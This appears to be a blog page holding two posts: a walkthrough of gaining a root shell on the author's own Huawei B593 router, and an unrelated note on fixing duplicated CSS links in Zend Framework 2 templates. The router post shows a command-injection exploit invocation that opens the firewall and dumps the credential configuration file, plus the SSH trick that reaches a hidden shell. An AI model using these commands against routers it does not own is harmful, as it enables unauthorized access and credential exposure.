Hacker's ramblings

I finally cracked this! Just to clarify, I'm running an u-12 model with the Danish 3 firmware.

Using the ping-exploit to loosen firewall rules

The first thing to is open the firewall to allow local access to the box. In my article about DMZ-setting I already established, that all the good ports are blocked by IPtables in the Linux. So, the previously published exploit is needed (I'm doing this on my Linux PC):

./B593cmd.pl -the-IP- -the-admin-Pwd- "iptables -I INPUT -i br0 -j ACCEPT"

Now all ports are open from the LAN, but there are no changes to the Internet side. We confirm this by running nmap:

Nmap scan report for -the-IP-
Host is up (0.0082s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
443/tcp  open  https
631/tcp  open  ipp
8081/tcp open  blackice-icecap
MAC Address: F8:3D:FF:F8:3D:FF (Huawei Technologies Co.)

That is something that I have been able to do earlier, but could not gain anything concrete out of it.

Confirm that you know the CLI-password

Now that we can run any commands to the box, let's confirm the configuration:

./B593cmd.pl -the-IP- -the-admin-Pwd- "cat /var/curcfg.xml" | less

The output is a very long XML-file. The good parts are:

<UserInterface>
    <X_Web Timeout="5">
        <HttpUpg UpdateURL="update-westerneurope.huaweidevice.com" UpdatePort="80"
            CheckNewVer="/westerneurope"/>
        <UserInfo NumberOfInstances="2">
            <UserInfoInstance InstanceID="1" Username="admin" Userpassword="HoHSyzm0ye4="
                IsChanged="1"/>
            <UserInfoInstance InstanceID="2" Username="user" Userpassword="2n+mVpCOAaY=" IsChanged="0"/>
        </UserInfo>
    </X_Web>
    <X_Cli>
        <UserInfo NumberOfInstances="2">
            <UserInfoInstance InstanceID="1" Username="admin" Userpassword="f5338SA1kb4=" Userlevel="0"/>
            <UserInfoInstance InstanceID="2" Username="user" Userpassword="2n+mVpCOAaY=" Userlevel="1"/>
        </UserInfo>
    </X_Cli>
</UserInterface>

The output clearly says, that web-GUI and telnet/SSH command line interface have separate user accounts for them. However, the passwords are encrypted. I have been able to determine, that it is a BASE64-encoded string and the binary format increases in 64-bit blocks. The only conclusion is to assume, that the passwords are encrypted with a symmetrical block cipher, but the encryption key, cipher mode of operation and possible initialization vector are currently unknown.

Luckily I know what f5338SA1kb4= and 2n+mVpCOAaY= stand for. They are the default passwords to the box anyway and the manual says that default admin password is admin and default user password is user. Logical, huh? If you don't know the password for CLI-admin, there is no way that you're getting in.

Trying out the SSH

Now, what can we do with the fact, that SSH is now open and we know the password for privileged admin-user? A SSH-login, when using the correct CLI-password will yield:

# ssh admin@-the-IP-
admin@-the-IP-'s password:
Write failed: Broken pipe

Not cool. In my exploit-tool -article, I referred to Mr. Ronkainen's work at http://blog.asiantuntijakaveri.fi/. He said to execute a specific command via SSH. My next attempt is to follow his instruction:

# ssh admin@-the-IP- /bin/sh
admin@-the-IP-'s password:
-------------------------------
-----Welcome to ATP Cli------
-------------------------------
ATP>

WHOOO!!

Now the hidden shell-command will work:

-------------------------------
-----Welcome to ATP Cli------
-------------------------------
ATP>shell
shell

BusyBox vv1.9.1 (2012-11-20 16:01:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

Nice!

SSH with non-privileged user / Telnet

To test this further, I attempted to login with user user. The non-privileged user does not have the hidden shell-command available and no access will be granted:

# ssh user@-the-IP- /bin/sh     
user@-the-IP-'s password:
-------------------------------
-----Welcome to ATP Cli------
-------------------------------
ATP>shell
shell
Command failed.

Also trying to access the ATP Cli via telnet does not work:

# telnet -the-IP-
Trying -the-IP-...
Connected to -the-IP-.
Escape character is '^]'.
-------------------------------
-----Welcome to ATP Cli------
-------------------------------

Login: admin
Password:
Login incorrect. Try again.

I don't know if the telnet is disconnected completely, or is there yet another set of accounts, but web-GUI nor CLI user credentials won't work there.

Future ventures

Anyway. Now that I have the shell-access I have a much better possibility of doing more mischief.

I need to explore the config system more as it would be very very nice to have the firewall allow SSH on boot. Now the only way to allow SSH is to use the exploit and leverage the IPtables. Also on public request, I'm going to implement QoS.

Stay tuned for more B593 hacking!

This one was one of the tricky ones. My CSS-inclusion was doubled for a very strange reason. My layout-template has:

{$this->headLink()
    ->prependStylesheet('/css/style.css')
    ->prependStylesheet('/css/jQuery/jquery.mobile.css')}
{$this->headLink([
    'rel' => 'shortcut icon',
    'type' => 'image/vnd.microsoft.icon',
    'href' => '/images/favicon.ico'
    ])}

That would be pretty standard for any web application. Link a couple of CSS-definition files and declare the URL for favorite icon of the website. However, on ZF2 doing things like my above code does, makes things go bad. Rather surprisingly, the HTML gets rendered as:

<link href="/css/jQuery/jquery.mobile.css" media="screen" rel="stylesheet" type="text/css">
<link href="/css/style.css" media="screen" rel="stylesheet" type="text/css">
<link href="/css/jQuery/jquery.mobile.css" media="screen" rel="stylesheet" type="text/css">
<link href="/css/style.css" media="screen" rel="stylesheet" type="text/css">
<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon">

It doesn't actually break anything to have the CSS linked twice, but it just makes the CSS-debugging bit weird. Lot of the declarations are twice in the list and browser has to determine which ones are effective and which ones are ignored in any particular case.

To find out what's going on, I swapped my template to contain:

{$this->headLink([
    'rel' => 'shortcut icon',
    'type' => 'image/vnd.microsoft.icon',
    'href' => '/images/favicon.ico'
    ])}
{$this->headLink()
    ->prependStylesheet('/css/style.css')
    ->prependStylesheet('/css/jQuery/jquery.mobile.css')}

Whatta ... hell!? Now everything works as expected. First the favicon-link and then CSS-links. Without any unnecessary doubling.

After a nice long morning of debugging ZF2-view code revealed a solution:

{$this->headLink()
    ->prependStylesheet('/css/style.css')
    ->prependStylesheet('/css/jQuery/jquery.mobile.css')}
{$this->headLink()
    ->deleteContainer()}
{$this->headLink([
    'rel' => 'shortcut icon',
    'type' => 'image/vnd.microsoft.icon',
    'href' => '/images/favicon.ico'
    ])}

Now everything renders nicely. No doubles, all in the order I wanted them to be. The key was to erase Zend\View\Helper\HeadLink's container after doing the stylesheets. The method is actually in the class Zend\View\Helper\Placeholder\Container\AbstractStandalone. Apparently headLink's container only adds up and any subsequent calls simply add to the existing storage. The mistake is to print the contents of the container in the middle. The final solution is not to touch headLink() twice:

{$this->headLink([
    'rel' => 'shortcut icon',
    'type' => 'image/vnd.microsoft.icon',
    'href' => '/images/favicon.ico'
    ])
    ->prependStylesheet("/css/style.css")
    ->prependStylesheet("/css/jQuery/jquery.mobile.css")}

Now it works much better! The rendered HTML will have the items in appropriate order:

1. /css/jQuery/jquery.mobile.css
2. /css/style.css
3. /images/favicon.ico

This was yet again one of the funny things that have changed since ZF1. I definitely would consider that as a bug, but don't want to bother sending Zend a report out of it. They'll yet again pull a Microsoft and declare it as a feature.